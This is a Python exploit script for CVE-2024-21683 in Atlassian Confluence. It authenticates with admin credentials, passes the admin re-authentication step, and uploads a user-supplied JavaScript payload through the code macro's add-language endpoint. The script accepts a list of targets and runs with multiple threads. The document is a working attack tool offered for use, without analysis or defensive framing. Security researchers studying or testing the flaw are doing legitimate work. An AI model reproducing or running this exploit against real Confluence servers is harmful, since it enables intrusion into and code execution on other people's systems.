CVE-2024-21683.py

import asyncio
import os
from concurrent.futures import ThreadPoolExecutor

import asyncclick as click
import requests

USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"


def login(session: requests.Session, url: str, username: str, password: str) -> None:
    data = f"os_username={username}&os_password={password}&login=Log+in&os_destination=%2Findex.action"
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    response = session.post(url=url, headers=headers, data=data, verify=False)

    if "the following error(s) occurred" in response.text.lower():
        raise ValueError("Incorrect user or password")

    if response.status_code != 200:
        raise ValueError("Unknown error")


def do_authenticate(
    session: requests.Session, url: str, username: str, password: str
) -> None:
    data = f"password={password}&authenticate=Confirm&destination=%2Fadmin%2Fconsole.action"
    headers = {"Content-Type": "application/x-www-form-urlencoded"}

    response = session.post(url=url, headers=headers, data=data, verify=False)

    if "the following error(s) occurred" in response.text.lower():
        raise ValueError("Incorrect user or password")

    if response.status_code != 200:
        raise ValueError("Unknown error")


def upload_macros(
    session: requests.Session, url: str, macro_name: str, payload: str
) -> None:
    data = {"newLanguageName": "MyNewLanguage"}

    files = {"languageFile": (macro_name, payload, "text/javascript")}

    response = session.post(url, data=data, files=files, verify=False)

    if response.status_code != 200:
        raise ValueError("Unknown error")


def exploit(user: str, password: str, targets: list[str], file: str, name: str):
    sess = requests.Session()
    sess.headers.update({"User-Agent": USER_AGENT, "X-Atlassian-Token": "no-check"})

    for target in targets:
        login(
            session=sess,
            url=f"{target}/dologin.action",
            username=user,
            password=password,
        )
        do_authenticate(
            session=sess,
            url=f"{target}/doauthenticate.action",
            username=user,
            password=password,
        )

        with open(file, "rt") as fd:
            payload = fd.read()

        upload_macros(
            session=sess,
            url=f"{target}/admin/plugins/newcode/addlanguage.action",
            macro_name=name,
            payload=payload,
        )


@click.command()
@click.option(
    "--user",
    "-u",
    help="Username of user with system administration privelege. Example: admin",
)
@click.option(
    "--password",
    "-p",
    help="Password of user with system administration privelege. Example: admin",
)
@click.option(
    "--targets",
    "-t",
    help="URL confluence or file path. Example: http://127.0.0.1:8090 || ./tagrets.txt",
)
@click.option("--file", "-f", help="File payload. Example: exp.js")
@click.option("--name", "-n", default="test", help="New language name. Example: test")
@click.option("--threads", default=10, help="Threads count. Default: 10. Example: 10")
async def main(
    user: str,
    password: str,
    targets: str,
    file: str,
    name: str = "test",
    threads: int = 10,
):
    thread_pool = ThreadPoolExecutor(threads)

    if os.path.isfile(targets):
        with open(targets, "rt") as fd:
            targets = fd.read().split("\n")
    else:
        targets = [targets]

    loop = asyncio.get_event_loop()
    await loop.run_in_executor(
        thread_pool, exploit, user, password, targets, file, name
    )


if __name__ == "__main__":
    asyncio.run(main())